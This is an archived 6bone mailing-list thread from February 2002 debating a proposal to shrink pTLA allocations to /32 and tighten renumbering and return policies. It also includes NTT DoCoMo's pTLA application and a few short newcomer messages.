> pTLA to be released within 6 months (12 months?) of acquiring a subTLA
> unless justifying why the pTLA allocation is still needed/required.

This was a lot at once. Let's take your individual suggestions one by
one:

"encouraging pTLA holders to apply for a production subTLA allocation
when they move to a fully production mode": Encouraging, yes. Forcing,
no, I believe that is not the way to go (e.g. by revoking the pTLA
allocation.)

"requiring those charging for service to also apply for a production
subTLA allocation": This is not by any means an unreasonable
requirement. After all, if you are paying for access you probably
expect production level service. The 6bone and IPv6 part of the
Internet seems fairly stable to me, but I wouldn't exactly love paying
for experimental services. For dial-in/cable/etc. ISPs especially,
renumbering should be fairly simple, but even with customer /48
assignments it shouldn't be impossible.

"requiring the pTLA to be released within 6 months (12 months?) of
acquiring a subTLA unless justifying why the pTLA allocation is still
needed/required": Once one has obtained a production subTLA I can see
little need for keeping the pTLA, as long as the clients' networks can
be renumbered without an extreme workload on the administrators (which
in one sense would go against the idea behind address
autoconfiguration and such anyway).

Let's not forget what Michel Py mentioned, either. One way to try to
help stopping global routing table pollution might be to require those
applying for production subTLAs to actually provide ISP services to
customers (whether for a fee or not), but this is something that would
require further discussion.


> 3. pTLA holders should not assign pTLA based allocations to paying
> customers except for early test/trial purposes.  paying customers should
> always receive RIR based allocations when service is not for test/trial
> purposes.

This is something I certainly have no comments about, except that I
agree with it. Even for trial purposes, having a dedicated block (say,
perhaps a /40 or something on that order for a really big ISP) under a
subTLA where addresses can be handed out is not unreasonable. That
would mean a 1/32 of the /35 subTLA.


> 4. requiring a restatement of pTLA usage and continuing need every 2 years.

Not by any means unreasonable. Also see below.


> 5. requiring the return of a pTLA when it is no longer used by the original
> requesting entity. this is the de facto policy, but has not been stated
> previously.

Agreed. Another idea: require that pTLA allocations are returned or at
least reconsidered when the need that prompted the allocation is no
longer there. This seems to be standard practice today about IPv4
allocations (even for rather small allocations like my IPv4 /28) and I
cannot see why IPv6 should have to be much different in that aspect?
It is better to adapt such a policy while we are still at a fairly
early stage than rushing to it later on.

Comments, please?


> Please send comments to the 6bone list by 4 March 2002.
>
>
> Thanks,
>
> Bob


Michael Kjörling

- --
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

*** Thinking about sending me spam? Take a close look at
*** http://michael.kjorling.com/spam/ before doing so.


- ------------ Output from gpg ------------
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From 6bone-owner  Mon Feb 18 05:31:52 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please 
In-reply-to: Your message of Sun, 17 Feb 2002 17:47:25 PST.
             <5.1.0.14.0.20020217173855.01f221d8@imap2.es.net> 
Date: Mon, 18 Feb 2002 14:30:53 +0100
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 In your previous mail you wrote:

   We are seeing a recent increase in pTLA requests, and it prompts me to 
   recommend a change in pTLA prefix length to allow for future growth. 

=> I can't see an emergency in the current allocation system:
if we use a A-B-C class-like system, we have 3FFE:8000::/28 to
3FFE:BFF0::/28 ie. 1024 /28s when only 54 are already allocated.
So we can wait for 400 new allocations before looking for something else.

   ===
   
   In addition, I would like you to consider some possible policy changes:
   
   1. requiring existing pTLA /24 and /28 holders to renumber to a new /32, 
   unless justifying why it is not possible due to usage and/or address layout 
   issues, within 6 months (12 months?) of the change in policy.
   
=> I understand that first comers have an unfair advantage but have
we got complains?

   2. encouraging pTLA holders to apply for a production subTLA allocation 
   when they move to a fully production mode; requiring those charging for 
   service to also apply for a production subTLA allocation; requiring the 
   pTLA to be released within 6 months (12 months?) of acquiring a subTLA 
   unless justifying why the pTLA allocation is still needed/required.
   
=> production subTLAs have very different usage policies than pTLAs,
for instance here we have 2 subTLAs and 1 pTLA, we'd like to keep
the pTLA for special cases, for instance when an individual asks
for a site prefix. You may not do such things for subTLAs... and
we (G6) can not apply for a subTLA because we are not an ISP.

   3. pTLA holders should not assign pTLA based allocations to paying 
   customers except for early test/trial purposes.  paying customers should 
   always receive RIR based allocations when service is not for test/trial 
   purposes.
   
=> I agree: test/trial should always be free!

   4. requiring a restatement of pTLA usage and continuing need every 2 years.
   
=> this makes sense only with 5.

   5. requiring the return of a pTLA when it is no longer used by the original 
   requesting entity. this is the de facto policy, but has not been stated 
   previously.
   
=> I can't see a real need but I am by principle in favour of a real
management of resources.

Thanks

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Mon Feb 18 08:03:42 2002
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Subject: RE: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Michael Kjorling wrote
> Just a reflection: why not change to a /35, which I believe
> is the normal production subTLA allocation? This would mean
> that when companies migrate to a production subTLA there
> will be significantly less work involved, as they can just
> hand out the very same NLA/SLAs but under the new prefix.
> Customers would have to renumber anyway, so there is little
> reason they cannot renumber to the same prefix, which still
> means changing only the first 48 bits of the address (plus
> *possibly* the SLA, but that would be unrelated to the
> prefix change).

Associated with the intent of encouraging pTLAs to become
subTLAS, this makes perfect sense.

Michel.


From 6bone-owner  Mon Feb 18 08:10:20 2002
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Subject: RE: new 6bone pTLA prefix proposal, comments by 4 March 2002 please 
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Robert Elz" <kre@munnari.OZ.AU>, "Bob Fink" <fink@es.net>
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> Robert Elz wrote:
> And while I don't have a pTLA, I do have addresses allocated by
> those who do, and so this means that I get to renumber because
> of 2nd hand action, which is something that we should be making
> very very clear will happen, and preparing for.
> I suspect that just forcing the 6bone space into renumbering from
> time to time will drive away the commercial users without the
> need for any specific policies, nor the need to go and attempt
> to ensure compliance.
> So, all this sounds like exactly what the 6bone should be being
> used for.

For once, I agree with kre here.

Michel.


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From: bmanning@karoshi.com
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Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
To: fink@es.net (Bob Fink)
Date: Mon, 18 Feb 2002 16:52:33 +0000 (UCT)
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> In addition, I would like you to consider some possible policy changes:
> 
> 1. requiring existing pTLA /24 and /28 holders to renumber to a new /32, 
> unless justifying why it is not possible due to usage and/or address layout 
> issues, within 6 months (12 months?) of the change in policy.
> 

	there are areas/places where renumbering fails miserably,
	notably within DNS, SNMP, NTP and anywhere applications
	depend on knowing the whereabouts of remote systems, -by
	address-.  Many applications use the IP address to reduce 
	the delay in a DNS lookup. These applications are sensitive
	to wholesale renumbering, often to to point that they have
	no idea how broadly the hardcoded IP address has spread.

	Other than that, I expect that having processes in place
	to evaluate useage is a good thing.

--bill


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From: Michael Kjorling <michael@kjorling.com>
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Just curious - and if this is way too far off topic here please let me
know (off list obviously :)): what is the reason you cannot do an
initial DNS lookup and then cache the results internally?

Wouldn't that be a good policy to adopt when it comes to time-critical
services? NTP is quite time critical by nature, I don't know about
SNMP and DNS is an obvious case - hard to ask about something when
there's no place to ask, and especially for computers.

Again, if this is way too far from the 6bone list's subject, please
let me know.


Michael Kjörling


On Feb 18 2002 16:52 -0000, bmanning@karoshi.com wrote:

> 	there are areas/places where renumbering fails miserably,
> 	notably within DNS, SNMP, NTP and anywhere applications
> 	depend on knowing the whereabouts of remote systems, -by
> 	address-.  Many applications use the IP address to reduce
> 	the delay in a DNS lookup. These applications are sensitive
> 	to wholesale renumbering, often to to point that they have
> 	no idea how broadly the hardcoded IP address has spread.
>
> 	Other than that, I expect that having processes in place
> 	to evaluate useage is a good thing.
>
> --bill

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
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``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

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From 6bone-owner  Mon Feb 18 15:37:15 2002
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Date: Tue, 19 Feb 2002 09:35:38 +1000 (EST)
From: Robert Brockway <robert@timetraveller.org>
To: 6bone@ISI.EDU
Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
In-Reply-To: <200202181652.QAA03851@vacation.karoshi.com>
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On Mon, 18 Feb 2002 bmanning@karoshi.com wrote:

> 	there are areas/places where renumbering fails miserably,
> 	notably within DNS, SNMP, NTP and anywhere applications
> 	depend on knowing the whereabouts of remote systems, -by
> 	address-.  Many applications use the IP address to reduce 
> 	the delay in a DNS lookup. These applications are sensitive
> 	to wholesale renumbering, often to to point that they have
> 	no idea how broadly the hardcoded IP address has spread.

Imho, an application doing this is fundamentally broken.  One day this
will come back to bite, especially under IPv6.  I believe that avoiding
renumbering to cater for apps that did the wrong thing in the first place
would be a big mistake.  Besides, dns data is cached, so the first lookup
might be slower but the rest should come off a local dns server.
Rob

-- Robert Brockway B.Sc. email: robert@timetraveller.org  ICQ: 104781119
   Linux counter project ID #16440 (http://counter.li.org)
   blake: up 40 days,  8:00, 11 users,  load average: 1.00, 1.00, 1.00
   "The earth is but one country and mankind its citizens" -Baha'u'llah


From 6bone-owner  Mon Feb 18 16:30:08 2002
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From: "Guy L. Allgood" <allgoodg@san.rr.com>
To: <bmanning@karoshi.com>, "Bob Fink" <fink@es.net>
Cc: <6bone@ISI.EDU>
Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
Date: Mon, 18 Feb 2002 16:29:59 -0800
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Bill Et All,

With good planning, ie reducing TTL's to near nothing 1 or 2 weeks in
advance, minimizing caching, and having programmers/admins review where
these hard coded addresses may reside;  Most should be easily cut over where
DNS and DNS services are concerned.  The hard coding of addresses into your
utils & programs should at best, IMHO, be considered bad practice.  It may
be a good thing to do this just to make certain none of these practices are
being used and give all a chance to review what is being done and how to do
it better.

Just my 2 cents worth anyway,
Guy

-----Original Message-----
From: bmanning@karoshi.com <bmanning@karoshi.com>
To: Bob Fink <fink@es.net>
Cc: 6bone@ISI.EDU <6bone@ISI.EDU>
Date: Monday, February 18, 2002 9:42 AM
Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please


>> In addition, I would like you to consider some possible policy changes:
>>
>> 1. requiring existing pTLA /24 and /28 holders to renumber to a new /32,
>> unless justifying why it is not possible due to usage and/or address
layout
>> issues, within 6 months (12 months?) of the change in policy.
>>
>
> there are areas/places where renumbering fails miserably,
> notably within DNS, SNMP, NTP and anywhere applications
> depend on knowing the whereabouts of remote systems, -by
> address-.  Many applications use the IP address to reduce
> the delay in a DNS lookup. These applications are sensitive
> to wholesale renumbering, often to to point that they have
> no idea how broadly the hardcoded IP address has spread.
>
> Other than that, I expect that having processes in place
> to evaluate useage is a good thing.
>
>--bill
>
>


From 6bone-owner  Mon Feb 18 18:43:52 2002
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6bone£¬ÄúºÃ£¡

       need get some infromation about the new development of IPv6 multicasting.
       
                    ÖÂ
Àñ£¡

            ÷·É
            fmei@njnet.edu.cn


From 6bone-owner  Mon Feb 18 20:10:56 2002
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Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
To: allgoodg@san.rr.com (Guy L. Allgood)
Date: Tue, 19 Feb 2002 04:35:10 +0000 (UCT)
Cc: bmanning@karoshi.com, fink@es.net (Bob Fink), 6bone@ISI.EDU
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bad practice or no, with DNS, its part of the protocol. 
same is true of SNMP.  MIBS use IP addresses, not names.


> 
> Bill Et All,
> 
> With good planning, ie reducing TTL's to near nothing 1 or 2 weeks in
> advance, minimizing caching, and having programmers/admins review where
> these hard coded addresses may reside;  Most should be easily cut over where
> DNS and DNS services are concerned.  The hard coding of addresses into your
> utils & programs should at best, IMHO, be considered bad practice.  It may
> be a good thing to do this just to make certain none of these practices are
> being used and give all a chance to review what is being done and how to do
> it better.
> 
> Just my 2 cents worth anyway,
> Guy
> 
> -----Original Message-----
> From: bmanning@karoshi.com <bmanning@karoshi.com>
> To: Bob Fink <fink@es.net>
> Cc: 6bone@ISI.EDU <6bone@ISI.EDU>
> Date: Monday, February 18, 2002 9:42 AM
> Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
> 
> 
> >> In addition, I would like you to consider some possible policy changes:
> >>
> >> 1. requiring existing pTLA /24 and /28 holders to renumber to a new /32,
> >> unless justifying why it is not possible due to usage and/or address
> layout
> >> issues, within 6 months (12 months?) of the change in policy.
> >>
> >
> > there are areas/places where renumbering fails miserably,
> > notably within DNS, SNMP, NTP and anywhere applications
> > depend on knowing the whereabouts of remote systems, -by
> > address-.  Many applications use the IP address to reduce
> > the delay in a DNS lookup. These applications are sensitive
> > to wholesale renumbering, often to to point that they have
> > no idea how broadly the hardcoded IP address has spread.
> >
> > Other than that, I expect that having processes in place
> > to evaluate useage is a good thing.
> >
> >--bill
> >
> >
> 


From 6bone-owner  Mon Feb 18 20:11:47 2002
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From: bmanning@karoshi.com
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Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
To: robert@timetraveller.org (Robert Brockway)
Date: Tue, 19 Feb 2002 04:36:48 +0000 (UCT)
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.3.96.1020219093307.9239A-100000@avon.timetraveller.org> from "Robert Brockway" at Feb 19, 2002 09:35:38 AM
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 broken or not, its part of the protocol design. "fixing" it
 will take more years than has been expended on IPv6.
 


> 
> On Mon, 18 Feb 2002 bmanning@karoshi.com wrote:
> 
> > 	there are areas/places where renumbering fails miserably,
> > 	notably within DNS, SNMP, NTP and anywhere applications
> > 	depend on knowing the whereabouts of remote systems, -by
> > 	address-.  Many applications use the IP address to reduce 
> > 	the delay in a DNS lookup. These applications are sensitive
> > 	to wholesale renumbering, often to to point that they have
> > 	no idea how broadly the hardcoded IP address has spread.
> 
> Imho, an application doing this is fundamentally broken.  One day this
> will come back to bite, especially under IPv6.  I believe that avoiding
> renumbering to cater for apps that did the wrong thing in the first place
> would be a big mistake.  Besides, dns data is cached, so the first lookup
> might be slower but the rest should come off a local dns server.
> Rob
> 
> -- Robert Brockway B.Sc. email: robert@timetraveller.org  ICQ: 104781119
>    Linux counter project ID #16440 (http://counter.li.org)
>    blake: up 40 days,  8:00, 11 users,  load average: 1.00, 1.00, 1.00
>    "The earth is but one country and mankind its citizens" -Baha'u'llah
> 


From 6bone-owner  Tue Feb 19 00:20:14 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
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Hi,

Skimming through these notes, I would like to make one point.

With the recent issues concerning multicast (sorry to bring it up yet again:),
and global reachability for enterprises, I can very well imagine non ISPs
requesting a pTLA status (or even taking their case to a RIR) just for them
to be reachable via multiple paths. This would mean that large companies will
get this status where they could/would not in the IPv4 world. I see a possible
and even probable explosion of the DFZ with this in mind.

The first example of this has been given by our collegues from Microsoft. Not
to start a bash on them, on the contrary, their research into the protocol is
much welcomed by me personally. It does illustrate the point, however.

With the 6bone thouroughly intermixed with the sTLA world as of today, having
a pTLA has no disadvantages over RIR space. The ARIN region even has to pay 
for their allocation in the first place. This seems to me as a potential threat
to RIR policies in the mid term future.

I find your points 2 and 4 to be of some use. We should make the pTLA requester
aware that these network allocations made under the 3ffe::/16 network are not
to be used to circumvent RIR policies. 

I myself use the pTLA and sTLA for INTOUCH-NL differently, and would not like
to hand in, nor renumber, the current pTLA. For the record: my sTLA is used for
native (ams-ix) paying customers and affiliates of Intouch NV, and the pTLA is
kind of dedicated to the IPng project (the public tunnelbroker). It makes no
sense to me to renumber IPng into the sTLA. I would like to keep playtime and
business (well, future potential business, anyway ;-) separated. If point 4
is satisfied, why would the exception case in point 2 have to be proven ?

The 4th remark however is very smart. We (the 6bone community) should require
valid use and regular reports, I would even say every 12 months, in order for
the entity to be granted continued use of their pTLA. This way we might be able
to catch the potential RIR circumventing entities before they make use of the
6bone for production state networks.

The other points seem quite usable, and a /32 bit pTLA means we will be able 
to go on for some time until we hit even half of the 16K scope of these 
networks. It will take some filtering updates on most of our routers though,
as I think most of us accept only /28 in 3ffe:8000::/17 and /24 in 3ffe::/17
ie not -le 28 (at least I am very strict on policies at the moment).

| In addition, I would like you to consider some possible policy changes:
| 
| 1. requiring existing pTLA /24 and /28 holders to renumber to a new /32, 
| unless justifying why it is not possible due to usage and/or address layout 
| issues, within 6 months (12 months?) of the change in policy.
| 
| 2. encouraging pTLA holders to apply for a production subTLA allocation 
| when they move to a fully production mode; requiring those charging for 
| service to also apply for a production subTLA allocation; requiring the 
| pTLA to be released within 6 months (12 months?) of acquiring a subTLA 
| unless justifying why the pTLA allocation is still needed/required.
| 
| 3. pTLA holders should not assign pTLA based allocations to paying 
| customers except for early test/trial purposes.  paying customers should 
| always receive RIR based allocations when service is not for test/trial 
| purposes.
| 
| 4. requiring a restatement of pTLA usage and continuing need every 2 years.
| 
| 5. requiring the return of a pTLA when it is no longer used by the original 
| requesting entity. this is the de facto policy, but has not been stated 
| previously.
| 
| 
| Please send comments to the 6bone list by 4 March 2002.
| 
| 
| Thanks,
| 
| Bob

-- 
                             __________________
Met vriendelijke groet,     /\ ___/
Pim van Pelt               /- \ _/  Business Internet Trends BV
PBVP1-RIPE                /--- \/            __________________

From 6bone-owner  Tue Feb 19 02:55:22 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Michael Kjorling <michael@kjorling.com>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
In-Reply-To: <Pine.LNX.4.44.0202180939120.27359-100000@varg.wolfpack>
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On Mon, 18 Feb 2002, Michael Kjorling wrote:
> > We are seeing a recent increase in pTLA requests, and it prompts me to
> > recommend a change in pTLA prefix length to allow for future growth.
> > Basically I propose changing from the /28 prefixes we now allocate to /32:
> 
> Just a reflection: why not change to a /35, which I believe is the
> normal production subTLA allocation? This would mean that when
> companies migrate to a production subTLA there will be significantly
> less work involved, as they can just hand out the very same NLA/SLAs
> but under the new prefix. Customers would have to renumber anyway, so
> there is little reason they cannot renumber to the same prefix, which
> still means changing only the first 48 bits of the address (plus
> *possibly* the SLA, but that would be unrelated to the prefix change).

Policy on /35 is in the process of being changed to something like /32.

Anyway.. if you want to make sure pTLA have easy transition path to 
"sTLA", the size of pTLA should be no bigger than sTLA.  In that case, 
just give /36 pTLA's.

In any cast, ISP's pTLA addressing is usually a mess (because it will 
evolve during months and years) -- we, for example, definitely wanted to 
re-do the addressing for most part.

But I'd tend to agree with Francis that there is no problem here.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Tue Feb 19 09:15:52 2002
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Date: Tue, 19 Feb 2002 09:10:54 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for NTT-DOCOMO - review closes 5 March 2002
Cc: "Christopher Martin Kerr" <chris@nw.yrp.nttdocomo.co.jp>
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6bone Folk,

NTT-DOCOMO has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 1 March 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?NTT-DOCOMO>

<http://www.ipver6.jp>


Thanks,

Bob

===
>From: "Christopher Martin Kerr" <chris@nw.yrp.nttdocomo.co.jp>
>To: "Bob Fink" <fink@es.net>
>Subject: pTLA Request
>Date: Tue, 19 Feb 2002 17:36:32 +0900
>
>Dear Bob Fink and 6Bone members,
>
>On behalf of NTT DoCoMo, I would like to submit our application for a pTLA.
>If allocated a pTLA we will use AS9605 in our peering relationships.
>Please find our other relevant information below.
>
>------------------------------------------------------------------
>
>7. Guidelines for 6Bone pTLA sites
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>We have been connected to the 6Bone natively from 15 August 2001 as a
>6Bone end-site, and from 29 November 2001 as a pNLA.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>We have fully maintained, up to date, 6Bone Registry entries as follows:
>ipv6-site objects: NTT-DOCOMO
>inet6num objects:  3FFE:1802:1020::/48, 3FFE:1802:D000::/40
>mntner objects:    NTT-DOCOMO-MNT
>person objects:    NO4-6BONE
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>We have fully maintained and reliable, BGP4+ peering and native IPv6
>connectivity between our boundary router, host02.ipver6.jp, and NTT-ECL,
>our connection point into the 6Bone. Our router is IPv6 pingable.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>We have fully maintained DNS forward (AAAA) and reverse (ip.int) entries
>for all our routers and hosts. Our DNS server is dns1.ipver6.jp at
>202.245.184.3.
>
>We have DNS forward and reverse entries including the following router and
>host:
>Router: host02.ipver6.jp 3ffe:1802:1020:1::1/3ffe:1802:1020:2::2
>Host: host01.ipver6.jp 3ffe:1802:1020:1::2
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>Our IPv6 pingable WWW server is www.ipver6.jp, and is accessible by both
>IPv6 and IPv4.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>We have a common mailbox for our support staff,
>ipv6-query@nw.yrp.nttdocomo.co.jp.
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>Our common mailbox for contact purposes, ipv6-query@nw.yrp.nttdocomo.co.jp,
>is pointed to with a notify attribute in the ipv6-site object NTT-DOCOMO.
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>Statement of User Community and Intent to Provide Production-Quality
>IPv6 Backbone Services:
>NTT DoCoMo is a major provider of mobile Internet services in Japan. We have
>a potential "user community" which includes over 36 million mobile cellular
>subscribers of which currently over 21 million are using our i-mode data
>service. We are currently preparing to connect our IPv6 network to NSPIXP6
>where we intend to peer with other IPv6 backbone sites in the near future.
>We are also currently building the infrastructure required to offer trial
>IPv6 services in the near future via our 2G and 3G mobile cellular networks.
>Additionally, we intend to use our pTLA to test IPv6 technologies on a
>global
>and/or multi-organizational basis.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We commit to abide by all the current and future operational rules and
>policies of the 6Bone
>
>----------------------------------------------------------
>
>Thank you very much for your assistance,
>
>Christopher Martin Kerr
>
>***********************************
>  NTT DoCoMo, Inc.
>    Network Laboratories
>      Christopher Martin KERR
>    $B!!(Bchris@nw.yrp.nttdocomo.co.jp
>  NTT DoCoMo R&D Center 3F, S-317
>  3-5 Hikarinooka, Yokosuka-shi,
>  Kanagawa, JAPAN 239-8536
>  TEL: +81 468-40-3332
>  FAX: +81 468-40-3781
>***********************************



From 6bone-owner  Thu Feb 21 07:22:05 2002
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From: Ville <villearc@stealth.net>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
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Bob,

On Sun, 17 Feb 2002, Bob Fink wrote:

> 1. requiring existing pTLA /24 and /28 holders to renumber to a new /32, 
> unless justifying why it is not possible due to usage and/or address layout 
  ^    ^

	I find myself comfortable with the rest of the policy being
	introduced, yet I feel it would be sad trying to enforce a
	specific rule for renumbering - especially with an exception
	clause such as the one above.
 
	I'll try and outline my own view on the issue below:

	    The exception-clause still permits for /some/ of the current
	    pTLA-holders to continue using their present 6BONE address-
	    space. (logically)

	(1) This both, introduces an advantage over other pTLA-parties
	    (size of address-space, continued usage) and also, in a
	    nasty - yet imaginable - scenario, even further strenghtens
	    the pTLA's will and desire to develop services that really
	    cannot be renumbered into another IP-block. After all, it
	    will make for the only means of sticking on to one's "own"
	    (current, static and free) pTLA. --

	    Nobody says the services developed purely for the purpose
	    wouldn't be all useful and beneficious, yet if the exception-
	    clause didn't exist, the renumbering probably would also
	    have been taken into account while developing the piece of
	    software (or H/W, for that matter), effectively avoiding
	    the unnecessary imbalance.

	(2) Unfortunately, if the exception-clause exists, a rule
	    won't help make the address-space more coherent. Individual
	    entries will still exist in a non-continuous 3ffe:80c0-
	    zone. Result: We still can not filter the whole, future
	    3ffe::-space as one of unified length (be it /32 or any
	    other), because of the pTLA-remnants.

	    Also, it would be difficult to determine whether the old
	    prefix is truly still being used or just has been hijacked
	    by future spammers (like I assume is currently happening
	    with swamp-/24's [IPv4-wise] popping in and out).

	    This is mostly caused by the fact the zone and any IP-
	    blocks under do remain technically legit as opposed to being
	    fully invalidated - which would make possible for complete
	    and thorough filtering of the space.


	Other issues that do come to kind about re-numbering on the
	practical level include--

	(1) Fair amounts of link-lists (WWW/FTP/NTP/...) are currently
	    being maintained, largely by volunteers. Any changes to
	    current IP-addresses mean extra work, in addition to the
	    normal pTLA->sTLA address-updates.

	    I suspect some of the people maintaining these lists are
	    no longer on the 6BONE themselves, thus resulting in a number
	    of seemingly valid, yet non-working lists of sites.

	    (Long version: Their page states the linked site belongs to
	    company A, which more or less makes it looks like company A
	    simply either does not provide the service anymore or that
	    their server is down. While company B providing the outdated
	    listing is more the cause.)

	    I know, all these lists should be based on DNS, but on a
	    quick look this often seems not to be the case. :-( Digging
	    all the info up manually is tiresome and perhaps unneeded.

	(2) Peering loopback-addresses, physical connections to IX'es
	    (if using 6BONE-address-space) and reverse-DNS-servers
	    will all have to be renumbered. Esp. the renumbering of
	    loopback-addresses and any related tasks will need assistance
	    from both sides of any tunnels and links.

	    While the above clearly is useful for ensuring people do not
	    attempt to provide production-quality service on the 6BONE,
	    it also does produce (read: generate) a fair amount of work
	    and puts us a number of years back in terms of quality

	    In my opinion, it effectively makes using 6BONE for gaining
	    operational-experience more difficult: If you cannot reach a
	    site by its old IP-address, should you first check if they
	    have recently swapped into new address-space? Or whether
	    the problem is on the link-level, BGP, filtering?

	    Everything was already working smooth for once.  ,)

	    It adds for an extra level of complexity in trying to find
	    out why something doesn't work.  Even if we have developers
	    participating on the 6BONE (or IPv6, in general), it does
	    not (unfortunately) necessarily mean all of them are overly
	    keen on following the politics. (I would personally
	    view it as more logical that this development, even if over
	    a longer time-spam, is indeed carried out under 3ffe::/16 as
	    opposed to under the RIR-allocations at 2001::/16 which we
	    were wishing to use solely for production.)

	(3) In practice, renumbering might degrade the number of companies
	    wanting to provide near-production-quality evaluation of
	    IPv6 for free. Roughly, I would assume this is how generic
	    upper-management would find it: renumbering means work, free
	    means no pay. (Conclusion: Why is the service being provided
	    for free in the first place?)

	    As pointed out by Pim, people have different uses for pTLAs
	    and sTLAs. This also applies to us: pTLA is an easy way
	    for us to permit non-customers free use and testing of our
	    capabilities without the fear of them more representing
	    neither us nor our customers.

	Apologies if any of this has been previously stated, I had
	quite some catching up to do with e-mails from the past
	week.

	The rest of the proposal sounds ideal. I'm glad it was
	brought up at this point-- It's always easier to introduce
	a full-blown policy in its wholeness for new participants,
	instead of having to add and sum up individual requirements
	along the way.

	As for the size of the future pTLA's, personally I would
	most be in favour of sizes either 1-2 bits less than the RIR-
	standard or alternatively exactly the same size.

	Pekka of Netcore already put it nicely.

	The first would make it possible for easy migration and the
	latter for more broadly unified bitmask-sizes.


> Bob

Cheers,
-- 
	Ville <viha@stealth.net>  Network Security/IPv6 Solutions
				  Stealth Communications, Inc.


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Subject: RE: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Bob Fink" <fink@es.net>
Cc: "6BONE List" <6bone@ISI.EDU>
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Bob,

> 1. requiring existing pTLA /24 and /28 holders to renumber to a new
> /32, unless justifying why it is not possible due to usage and/or
> address layout 

Maybe you could say:
1. requiring pTLA /24 and /28 holders to resize to a /32 that begins at
the same address their /24 or /28 block begins.

Assuming all pTLA /24 and /28 holders have allocated their address space
by the beginning of it (that remains to be seen), and that they have
more than they really need, this will achieve the savings in space
without forcing them to renumber (just changing the prefix is a lot less
work).

Michel.


From 6bone-owner  Mon Feb 25 07:49:35 2002
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Hello,

  I'm new on this list... and I wrote just to say "hello" to all of
  you :)

-- 
Best regards,
 Adrian (BesP) Kujawski 


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From: Carlos Alberto Martinez Arce <cmartinez@protel.net.mx>
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What do I need to request a /28 ??  and where I have to request to?

Carlos Alberto Martínez Arce
Transporte IP
Operadora Protel S.A: C.V. I-Next
tel.- +52 55 53290900


From 6bone-owner  Mon Feb 25 13:06:24 2002
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Hi Adrian!

I'm new to the 6bone list too, and have been
'lurking' for a few weeks.

Cheryl

